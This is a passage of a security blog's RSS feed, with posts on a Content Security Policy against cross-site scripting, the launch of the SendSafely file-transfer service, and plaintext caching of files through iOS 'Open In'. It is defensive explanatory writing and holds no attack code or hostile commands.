&lt;p&gt;Well, not so much:&lt;/p&gt;
&lt;p&gt;&lt;a href="http://www.airtightnetworks.com/WPA2-Hole196"&gt;http://www.airtightnetworks.com/WPA2-Hole196&lt;/a&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;Now where did I leave my Faraday cage?&lt;/p&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/GdsSecurityBlog?a=lKj0LBKiDaQ:EYkuo4Hw9aA:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/GdsSecurityBlog?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/GdsSecurityBlog?a=lKj0LBKiDaQ:EYkuo4Hw9aA:V_sGLiPBpWU"&gt;&lt;img src="http://feeds.feedburner.com/~ff/GdsSecurityBlog?i=lKj0LBKiDaQ:EYkuo4Hw9aA:V_sGLiPBpWU" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/GdsSecurityBlog?a=lKj0LBKiDaQ:EYkuo4Hw9aA:qj6IDK7rITs"&gt;&lt;img src="http://feeds.feedburner.com/~ff/GdsSecurityBlog?d=qj6IDK7rITs" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;</description><wfw:commentRss>http://blog.gdssecurity.com/labs/rss-comments-entry-32753422.xml</wfw:commentRss><feedburner:origLink>http://blog.gdssecurity.com/labs/2013/2/5/resurrecting-wifitap.html</feedburner:origLink></item><item><title>Using Content Security Policy to Prevent Cross-Site Scripting (XSS)</title><category>Application Security</category><category>CSP</category><category>HTLM5</category><category>JavaScript</category><category>SendSafely</category><category>XSS</category><dc:creator>Erik Larsson</dc:creator><pubDate>Tue, 05 Feb 2013 14:17:22 +0000</pubDate><link>http://feedproxy.google.com/~r/GdsSecurityBlog/~3/ehX2QClynF4/using-content-security-policy-to-prevent-cross-site-scriptin.html</link><guid isPermaLink="false">936190:11268292:32752512</guid><description>&lt;p&gt;&lt;em style="font-size: 80%;"&gt;Note: This post has been crossposted from the &lt;a href="http://blog.sendsafely.com/"&gt;SendSafely blog&lt;/a&gt;. You can find the original post at &lt;a href="http://blog.sendsafely.com/post/42277333593/using-content-security-policy-to-prevent-cross-site"&gt;http://blog.sendsafely.com/post/42277333593/using-content-security-policy-to-prevent-cross-site&lt;/a&gt;.&amp;nbsp;&amp;nbsp;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;On &lt;a href="http://www.sendsafely.com"&gt;SendSafely&lt;/a&gt; we make heavy use of many new JavaScript APIs introduced with HTML5. We encrypt files, calculate checksums and upload data using pure JavaScript. &amp;nbsp;Moving logic like this down to the browser, however, makes the threat of Cross-Site Scripting (XSS) even greater than before. In order to prevent XSS vulnerabilities, our site makes liberal use of pretty aggressive client-side and server-side encoding APIs. &amp;nbsp;These APIs are based on the OWASP ESAPI library, so we have context-specific encoding methods for pretty much every scenario. Even so, we recognize that it is very difficult to rule out all possible ways to inject code, including human error on our part. For this reason we chose to also implement&amp;nbsp;&lt;em&gt;Content Security Policy&lt;/em&gt;&amp;nbsp;(CSP) for SendSafely.&lt;/p&gt;
&lt;p&gt;CSP is a new security mechanism supported by modern browsers. It aims to prevent XSS by white-listing URLs the browser can load and execute JavaScript from. The server can, by specifying specific CSP directives, prevent the browser from executing things like in-line JavaScript,&amp;nbsp;&lt;em&gt;eval()&lt;/em&gt;,&amp;nbsp;&lt;em&gt;setTimeout()&lt;/em&gt;&amp;nbsp;or any JavaScript that comes from an untrusted URL. The policy works as a white list, only domains listed are allowed to execute, everything else will be blocked.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The Content Security Policy in SendSafely&lt;/strong&gt;&lt;br /&gt;In SendSafely, our Javascript files are all loaded from a dedicated host that doesn&amp;rsquo;t run any dynamic content (static.sendsafely.com). The exceptions to this are for certain third-party JavaScript APIs that we load from an external domain, specifically Google Analytics and reCAPTCHA. &amp;nbsp;Text-to-JavaScript functions like&amp;nbsp;&lt;em&gt;eval()&lt;/em&gt;&amp;nbsp;and&amp;nbsp;&lt;em&gt;setTimeout()&lt;/em&gt;&amp;nbsp;are blocked across the board, even if the script is loaded from one of our white-listed hosts, as is any in-line JavaScript&lt;/p&gt;
&lt;p&gt;Use of a strict CSP makes it significantly harder to inject executable JavaScript into application pages since the code must come from a trusted server. &amp;nbsp;The typical XSS attack using un-encoded output on one of our pages won&amp;rsquo;t work when the CSP is enforced. &amp;nbsp;In fact, any JavaScript embedded on our content pages (even JavaScript we put there) gets blocked by the policy. &amp;nbsp;Pretty cool stuff. &amp;nbsp;&lt;/p&gt;
&lt;p&gt;So you may be asking yourself, does this mean XSS is nothing but a memory? Sadly, this is not the case. &amp;nbsp;For starters, CSP is still fairly new and only supported by recent versions of Firefox, Safari and Chrome. Internet Explorer 10 (IE10) supports a subset of CSP options, but the ability to white list domains is unfortunately not one of them. &amp;nbsp;Aside from limited browser support, data dynamically loaded into the page from JavaScript is still potentially vulnerable. A strict Content Security Policy should therefore not be considered the end-all solution to XSS . Think of CSP more like a safety belt, which is nice to have when your car crashes.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Dissecting our Policy&lt;/strong&gt;&lt;br /&gt;Now let&amp;rsquo;s take a look at the CSP policy we use on&amp;nbsp;&lt;a href="http://www.sendsafely.com/"&gt;www.sendsafely.com&lt;/a&gt;&amp;nbsp;and dissect it a bit. &amp;nbsp;One of the first things to note is that if you are going to implement CSP, you must realize that there are some browser compatibility nuances to deal with. &amp;nbsp;&amp;nbsp;The main thing to note is that Safari uses &amp;lsquo;&lt;em&gt;X-WebKit-CSP&lt;/em&gt;&amp;rsquo; as the header name for implementing CSP, while other browsers have standardized on &amp;lsquo;&lt;em&gt;X-Content-Security-Policy&lt;/em&gt;&amp;rsquo;. &amp;nbsp;Another glitch that affects Safari is that a severe bug in the CSP implementation on Version 5.1 essentially blocks authorized content when a valid CSP is specified. &amp;nbsp;As a result, you&amp;rsquo;ll want to specifically detect when Safari is used and send either the &amp;lsquo;&lt;em&gt;X-WebKit-CSP&lt;/em&gt;&amp;rsquo; header or no header at all (if Version 5.1 is used).&lt;/p&gt;
&lt;p&gt;To keep our policy as strict as possible, we use two different policies depending on what the page needs to do. &amp;nbsp;The stricter policy is used for all pages except the ones that handle encryption and decryption (the reason for this will be discussed in a separate follow up post). &amp;nbsp;For simplicity, the more strict policy will be explained here.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;X-Content-Security-Policy: default-src &amp;lsquo;none&amp;rsquo;; connect-src &amp;lsquo;self&amp;rsquo;; script-src&amp;nbsp;https://static.sendsafely.com&amp;nbsp;https://www.google.com&amp;nbsp;https://ssl.google-analytics.com; style-src &amp;lsquo;self&amp;rsquo; &amp;lsquo;unsafe-inline&amp;rsquo; http: https:; img-src &amp;lsquo;self&amp;rsquo;&amp;nbsp;https://www.google.com&amp;nbsp;https://ssl.google-analytics.com; report-uri /csp-reports;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;The header is divided into different sections that are each separated by a semi-colon. The &amp;ldquo;&lt;em&gt;default-src&lt;/em&gt;&amp;rdquo; directive defines the security policy for all types of content which are not expressly called out by more specific directives. &amp;nbsp;We opted to set the&amp;nbsp;&lt;em&gt;default-src&lt;/em&gt;&amp;nbsp;value to &amp;lsquo;&lt;em&gt;none&lt;/em&gt;&amp;rsquo;, meaning that by default we allow nothing to load. &amp;nbsp;If we stopped defining directives here, the site would be completely broken, so now we need to open up the policy and allow specifically what we need to load. &amp;nbsp;&lt;/p&gt;
&lt;p&gt;Now that we&amp;#8217;ve explicitly denied everything by default, we need to add back the specific content policy options our site needs. &amp;nbsp;On SendSafely, we have a hand full of resource categories that we need to add policy settings for. &amp;nbsp;Each of these are outlined below, along with the CSP directives for each:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Ajax Requests - Several pages within our site use the browser&amp;rsquo;s XMLHttpRequest (XHR) object to make HTTP requests from within our JavaScript code. &amp;nbsp;In order for us to make these requests we set the &amp;ldquo;&lt;em&gt;connect-src&lt;/em&gt;&amp;rdquo; attribute to &amp;ldquo;&lt;em&gt;self&lt;/em&gt;&amp;rdquo;, so scripts on our site can make XHR requests back the server but nowhere else. This attribute is another place where we run into compatibility issues across different browsers. &amp;nbsp;Specifically, FireFox decided to name this directive &amp;ldquo;&lt;em&gt;xhr-src&lt;/em&gt;&amp;rdquo; instead of &amp;ldquo;&lt;em&gt;connect-src&lt;/em&gt;&amp;rdquo;. &amp;nbsp;To account for this, our CSP code does some basic browser detection and if we detect that FireFox is being used, we change the directive name accordingly. &amp;nbsp;&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;
&lt;li&gt;JavaScript - As mentioned previously, we load all of our internal static JavaScript from a dedicated host (static.sendsafely.com). Additionally, we&amp;rsquo;ve chosen to load the Google Analytics and ReCaptcha JavaScript files from their origin domains on google.com. &amp;nbsp;Unfortunately the ability to allow just a sub-path of a host (like /scripts/) is not supported. Since ReCaptcha script files get loaded directly off of the main&amp;nbsp;www.google.com&amp;nbsp;site, our &amp;ldquo;&lt;em&gt;script-src&lt;/em&gt;&amp;rdquo; directive includes&amp;nbsp;https://static.sendsafely.com,&amp;nbsp;https://www.google.com&amp;nbsp;and&amp;nbsp;https://ssl.google-analytics.com&lt;br /&gt;&lt;br /&gt;Having such a large site like&amp;nbsp;www.google.com&amp;nbsp;in our CSP whitelist is understandably something we are not thrilled about. &amp;nbsp;The ability to allow sub-paths of a host is slated to be introduced in CSP 1.1, but until then we&amp;rsquo;ll have to live with it. &amp;nbsp;The good news is that Google takes security very seriously, and they take great care to avoid script injection bugs on their website.&lt;/li&gt;
&lt;/ul&gt;
&lt;ul&gt;
&lt;li&gt;CSS - Our site design makes heavy use of in-line CSS for styling various UI attributes. &amp;nbsp;As such, the&amp;nbsp;&lt;em&gt;style-src&lt;/em&gt;&amp;nbsp;directive includes a value of &amp;ldquo;&lt;em&gt;self&lt;/em&gt;&amp;rdquo; (that allows us to load CSS files from the same host) and a value of &amp;ldquo;&lt;em&gt;unsafe-inline&lt;/em&gt;&amp;rdquo;, meaning that we can use in-line CSS from within our HTML pages. &amp;nbsp;We recognize that by allowing in-line CSS within our pages, there is a minimal increased security risk since someone could potentially be mischievous if they found a way to inject markup into one of our pages. &amp;nbsp;Given the cost/benefit of refactoring the UI to completely avoid any in-line CSS, however, we decided this is a tolerable risk that we can live with for now. &amp;nbsp;&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;
&lt;li&gt;Images - Our&amp;nbsp;&lt;em&gt;img-src&lt;/em&gt;&amp;nbsp;directive specifies both &amp;ldquo;&lt;em&gt;self&lt;/em&gt;&amp;rdquo; and the two previously mentioned google hosts (https://www.google.com&amp;nbsp;and&amp;nbsp;https://ssl.google-analytics.com) &amp;nbsp;as the authorized origin hosts for all image content &amp;nbsp;For the most part, our site only loads images from the same host. &amp;nbsp;The exception to this is reCaptcha, however, since reCaptcha loads various images from&amp;nbsp;www.google.com&amp;nbsp;domain. &amp;nbsp;&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;
&lt;li&gt;The final part of our CSP header is the &amp;lsquo;&lt;em&gt;report-uri&lt;/em&gt;&amp;rsquo; directive. &amp;nbsp;This directive tells the browser to send us a report of pages that violate the Content Security Policy. The &amp;nbsp;violation reports consist of JSON documents sent via an HTTP POST request to the specified URI. &amp;nbsp;Using this option, we can monitor for events that trigger CSP exceptions and quickly take action if we think there may be a problem with our site. &amp;nbsp;The reports are also great to use during testing and development in order to debug CSP issues you might encounter.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Final Notes&lt;/strong&gt;&lt;br /&gt;A few final notes: CSP is a great tool to add an additional layer of protection against Cross-Site Scripting. If you&amp;rsquo;re building a new application, CSP should be considered as a solid defense in depth security control in the never-ending battle against cross-site scripting. Writing client-side code which is designed to use CSP will save precious developer cycles in the future, if code must be migrated to work with CSP.&lt;/p&gt;
&lt;p&gt;Implementing CSP on our site proved to be a very interesting exercise. &amp;nbsp;We&amp;rsquo;ll provide more details on some other aspects of our Content Security Policy implementation in a follow up post here on our blog.&amp;nbsp;&lt;/p&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/GdsSecurityBlog?a=ehX2QClynF4:UecaISL-Gw8:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/GdsSecurityBlog?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/GdsSecurityBlog?a=ehX2QClynF4:UecaISL-Gw8:V_sGLiPBpWU"&gt;&lt;img src="http://feeds.feedburner.com/~ff/GdsSecurityBlog?i=ehX2QClynF4:UecaISL-Gw8:V_sGLiPBpWU" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/GdsSecurityBlog?a=ehX2QClynF4:UecaISL-Gw8:qj6IDK7rITs"&gt;&lt;img src="http://feeds.feedburner.com/~ff/GdsSecurityBlog?d=qj6IDK7rITs" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;</description><wfw:commentRss>http://blog.gdssecurity.com/labs/rss-comments-entry-32752512.xml</wfw:commentRss><feedburner:origLink>http://blog.gdssecurity.com/labs/2013/2/5/using-content-security-policy-to-prevent-cross-site-scriptin.html</feedburner:origLink></item><item><title>Introducing SendSafely.com: An Easier way to Securely Send Files</title><category>General Security</category><category>SendSafely</category><dc:creator>Brian Holyfield</dc:creator><pubDate>Wed, 19 Dec 2012 07:04:53 +0000</pubDate><link>http://feedproxy.google.com/~r/GdsSecurityBlog/~3/7ZOtEz6rMNk/introducing-sendsafelycom-an-easier-way-to-securely-send-fil.html</link><guid isPermaLink="false">936190:11268292:32087230</guid><description>&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;Imagine this scenario: &amp;nbsp;It is 4PM on a Thursday afternoon. &amp;nbsp;You&amp;rsquo;ve worked hard all week, doing what just may be your best work ever. &amp;nbsp;You&amp;rsquo;ve been scrambling to finish up a report you owe your favorite, but most demanding client. &amp;nbsp;You promised to deliver it to them by the end of day, since their boss needs the report before the go/no-go meeting in the morning. &amp;nbsp;&lt;/p&gt;
&lt;p&gt;It&amp;rsquo;s been peer reviewed, and you give it your final once over to make sure everything is perfect. &amp;nbsp;You open your email client, attach the report to the message, and then press the GPG &amp;nbsp;&amp;ldquo;Encrypt&amp;rdquo; button. &amp;nbsp;The mail client chokes a few times, which you chalk up as normal when dealing with GPG, and finally the email is sent. &amp;nbsp;Life is good. &amp;nbsp;&lt;/p&gt;
&lt;p&gt;As you reach into the beer fridge to crack open a celebratory stout in the mini fridge you keep below your desk (doesn&amp;rsquo;t everyone have one of those?), you see a reply come into your inbox. &amp;nbsp;&amp;ldquo;Thanks for the report. &amp;nbsp;I had to duck out of the office early today to make it to my son&amp;rsquo;s baseball game. &amp;nbsp;Please send the report to my assistant instead so he can have it ready for tomorrow&amp;rsquo;s meeting. You&amp;rsquo;re the best!&amp;rdquo;. &amp;nbsp;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;Hmm, ok no problem&amp;hellip;let&amp;rsquo;s just send the report to the assistant instead. &amp;nbsp;Obviously, sending the plain-text file via email is not an option. &amp;nbsp;You send the assistant an email asking for their GPG/PGP key. &amp;nbsp;&amp;ldquo;What&amp;rsquo;s GPG?&amp;rdquo; the assistant replies. &amp;nbsp;&amp;nbsp;Ok, not surprising. &amp;nbsp;Time to move to Plan B&amp;hellip;send them an encrypted ZIP file. &amp;nbsp;You start by generating a nice random combination of letters, numbers and symbols. &amp;nbsp;You use that as the password to encrypt the ZIP with AES-256, and send it off. &amp;nbsp;Now all you need to do is call them with the password. &amp;nbsp;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;As you pick up the phone to call them, a reply comes into your inbox from postmaster@yourclient.com &amp;ldquo;Error 582 - Email Attachment Security Policy Violation&amp;rdquo;. &amp;nbsp;You curse to yourself as you vaguely remember suggesting to them a few months back that they bolster their email filtering capabilities by using a cloud service like Google&amp;rsquo;s Postini, rather than the traditional signature-based software they were previously using. &amp;nbsp;Unfortunately to your disadvantage, this message confirms that they took your advice. &amp;nbsp;In an act of desperation you rename the &amp;ldquo;report.zip&amp;rdquo; file to &amp;ldquo;report._&amp;rdquo;, hoping that the mail filter is dumb enough to just look at the file extension. &amp;nbsp;The identical auto-reply that comes back moments later, confirming what you already knew&amp;hellip;it wouldn&amp;rsquo;t be that easy.&lt;/p&gt;
&lt;p&gt;Ok, time to move to Plan C, sending the file through a web-based server your company runs specifically for such situations. &amp;nbsp;&amp;nbsp;You remember the company network admin boasting about the steps he took to harden the server when it was first stood up, but you decide to stick with the encrypted ZIP as an extra layer of protection. &amp;nbsp;&amp;nbsp;You upload the file, publish it to an external link, email the link to the assistant, and call them to provide the password. &amp;nbsp;&amp;ldquo;Ok, the file looks like its downloading&amp;hellip;hold on and I&amp;rsquo;ll make sure I can open it.&amp;rdquo;. &amp;nbsp;You start to breathe a sigh of relief as it looks like you are finally close to being done. &amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;ldquo;I&amp;rsquo;m opening it now.&amp;rdquo;, says the assistant as you slowly reach down once again towards the mini fridge. &amp;nbsp;&amp;ldquo;Hmm, it&amp;rsquo;s telling me Windows cannot complete the extraction.&amp;rdquo; &amp;nbsp;You quickly realize you&amp;rsquo;ve been foiled once again, when you remember that Windows can&amp;rsquo;t natively open AES-encrypted ZIP files (Windows can only open ZipCrypto protected files natively). &amp;nbsp;As a last ditch effort, you ask the assistant to Google the terms &amp;ldquo;WinZip&amp;rdquo; or &amp;ldquo;7Zip&amp;rdquo; and follow the download links for each, but the WebSense proxy they recently implemented (also based partly on your advice) quickly blocks both downloads. &amp;nbsp;&amp;nbsp;As you start to pull out your hair and think of what to do next, you wish there was a better way. &amp;nbsp;Well now there is. &amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Meet SendSafely&lt;/strong&gt;&lt;br /&gt;Some of you may know we recently previewed a new platform, which we developed, at OWASP AppSec USA in Austin, TX. &amp;nbsp;The platform is called SendSafely, and it&amp;rsquo;s designed to facilitate secure file exchange using only a web browser. &amp;nbsp;Being a team of security consultants, we were repeatedly faced with multiple variations of the scenario outlined above. &amp;nbsp;With SendSafely, you only need a modern web browser to quickly and easily exchange encrypted files with anyone. &amp;nbsp;No pre-shared keys, no software to install. &amp;nbsp;If you&amp;rsquo;re interested to see how it works we&amp;rsquo;ve got a high-level explanation &lt;a href="https://www.sendsafely.com/howitworks/"&gt;here&lt;/a&gt; and a more detailed explanation &lt;a href="https://sendsafely.zendesk.com/entries/22233816-frequently-asked-questions"&gt;here&lt;/a&gt;. &amp;nbsp;If you haven&amp;rsquo;t tried it out, we encourage you to sign up for free and take it for a test drive.&amp;nbsp;&lt;/p&gt;
&lt;p&gt;Our goal with SendSafely is to become the standard for secure file transfers. &amp;nbsp;We aren&amp;rsquo;t a Dropbox replacement, nor do we aim to be. &amp;nbsp;Think of them as the mini-storage unit you rent every month to hold onto all of that extra stuff you own. &amp;nbsp;Instead, think of us as the secure FedEx or UPS of the digital world. &amp;nbsp;If you want to send something important to someone else, and you want to get it there fast and securely, then use SendSafely. &amp;nbsp;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;You can also check out the &lt;a href="http://blog.sendsafely.com/"&gt;SendSafely Blog&lt;/a&gt;, where we&amp;rsquo;ll be blogging about the challenges we&amp;rsquo;ve dealt with, and things we&amp;rsquo;ve learned, while building a secure cloud-based application platform. &amp;nbsp;Stay tuned for more updates, and tell us what you think of SendSafely&amp;hellip;we&amp;rsquo;re all ears! You can reach us at &lt;a href="mailto:info@sendsafely.com"&gt;info@sendsafely.com&lt;/a&gt; or feel free to post your comments right here on our blog.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/GdsSecurityBlog?a=7ZOtEz6rMNk:SE7sjpioV7k:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/GdsSecurityBlog?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/GdsSecurityBlog?a=7ZOtEz6rMNk:SE7sjpioV7k:V_sGLiPBpWU"&gt;&lt;img src="http://feeds.feedburner.com/~ff/GdsSecurityBlog?i=7ZOtEz6rMNk:SE7sjpioV7k:V_sGLiPBpWU" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/GdsSecurityBlog?a=7ZOtEz6rMNk:SE7sjpioV7k:qj6IDK7rITs"&gt;&lt;img src="http://feeds.feedburner.com/~ff/GdsSecurityBlog?d=qj6IDK7rITs" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;</description><wfw:commentRss>http://blog.gdssecurity.com/labs/rss-comments-entry-32087230.xml</wfw:commentRss><feedburner:origLink>http://blog.gdssecurity.com/labs/2012/12/19/introducing-sendsafelycom-an-easier-way-to-securely-send-fil.html</feedburner:origLink></item><item><title>Plaintext Caching with iOS Document Interaction APIs</title><category>Application Security</category><category>Mobile Security</category><category>ios</category><category>mobile security</category><dc:creator>Ron Gutierrez</dc:creator><pubDate>Tue, 14 Aug 2012 08:00:55 +0000</pubDate><link>http://feedproxy.google.com/~r/GdsSecurityBlog/~3/ucN0hUV68AA/plaintext-caching-with-ios-document-interaction-apis.html</link><guid isPermaLink="false">936190:11268292:21911658</guid><description>&lt;p&gt;The iOS Document Interaction APIs&amp;nbsp;provide applications with the ability to have another application installed on the device handle a file. The most common scenario of this behavior is the Mail application. The Mail application receives emails which may contain document files like PDFs as attachments. Although the Mail application does have PDF preview functionality, there may be a separate PDF viewing or editing application installed on the device. The Mail application therefore opts to leverage the Document Interaction API in order to provide users with the ability to open the attached PDF file using any application on the device registered to handle PDF file types.&lt;/p&gt;
&lt;p&gt;iOS applications can register to handle file types by setting the supported UTI types within the&amp;nbsp;&amp;#8220;CFBundleDocumentTypes&amp;#8221; section of their Info.plist file.&amp;nbsp;The application would also need to implement the &amp;ldquo;&lt;span style="color: #333333;"&gt;application:didFinishLaunchingWithOptions:&lt;/span&gt;&amp;rdquo; application delegate method to handling incoming files. When applications leverage the Documentation Interaction APIs to View or Open a file with another application, iOS will already know which applications have registered to handle the data type. The UI displays a listing of installed applications which can handle the file type.&lt;/p&gt;
&lt;p&gt;&lt;span class="full-image-block ssNonEditable"&gt;&lt;span&gt;&lt;img src="http://blog.gdssecurity.com/storage/openin.JPG?__SQUARESPACE_CACHEVERSION=1344395635493" alt="" /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;At this point, people familiar with iOS may be wondering how this&amp;ldquo;Open In&amp;rdquo; functionality works due to the security restrictions of the iOS application sandbox. The sandbox prevents one application from accessing any data stored within another application&amp;rsquo;s container. When a user chooses an application listed in the &amp;ldquo;Open In&amp;rdquo; prompt, a copy of the file is made to the other application&amp;rsquo;s container.&lt;/p&gt;
&lt;p&gt;This is where it starts to get interesting. The copy of the file is written to the receiving application&amp;rsquo;s Documents/Inbox folder. This file is not stored using data protection and will persist on the device even after the application is closed or the device is rebooted.&lt;/p&gt;
&lt;p&gt;This becomes an issue when dealing with sensitive files in &amp;ldquo;secure container&amp;rdquo; applications. Secure containers are applications which implement their own form of data protection in order to supplement the data protection feature provided by iOS. In many cases these custom secure containers are created due to not having the ability to enforce device pass-codes on unmanaged devices. One scenario we encountered was a secure container application that wanted to incorporate &amp;ldquo;Open In&amp;rdquo; functionality for sending files to the Good For Enterprise (GFE) application. The GFE application would then provide users with the ability to email the received documents using their corporate email. Since GFE is also a secure container application, the organization assumed the file would remain encrypted on the device. Due to the discussed plaintext caching of the file, it becomes the receiving application&amp;#8217;s responsibility to perform proper clean up of any files it has received. Unfortunately, GFE was not performing the necessary cleanup and the file remained stored in plaintext. &amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;span class="full-image-inline ssNonEditable"&gt;&lt;span&gt;&lt;img src="http://blog.gdssecurity.com/storage/cachedfile.JPG?__SQUARESPACE_CACHEVERSION=1344395798701" alt="" /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;The main take away from the blog post should be to be very cautious when performing any form of inter-process communication with sensitive documents in your iOS application. IOS contains many subtle caching issues which could cause data expected to be stored encrypted to be unintentionally cached elsewhere in plaintext.&lt;/p&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/GdsSecurityBlog?a=ucN0hUV68AA:e21fLnDhTOo:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/GdsSecurityBlog?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/GdsSecurityBlog?a=ucN0hUV68AA:e21fLnDhTOo:V_sGLiPBpWU"&gt;&lt;img src="http://feeds.feedburner.com/~ff/GdsSecurityBlog?i=ucN0hUV68AA:e21fLnDhTOo:V_sGLiPBpWU" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/GdsSecurityBlog?a=ucN0hUV68AA:e21fLnDhTOo:qj6IDK7rITs"&gt;&lt;img src="http://feeds.feedburner.com/~ff/GdsSecurityBlog?d=qj6IDK7rITs" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;</description><wfw:commentRss>http://blog.gdssecurity.com/labs/rss-comments-entry-21911658.xml</wfw:commentRss><feedburner:origLink>http://blog.gdssecurity.com/labs/2012/8/14/plaintext-caching-with-ios-document-interaction-apis.html</feedburner:origLink></item></channel></rss>
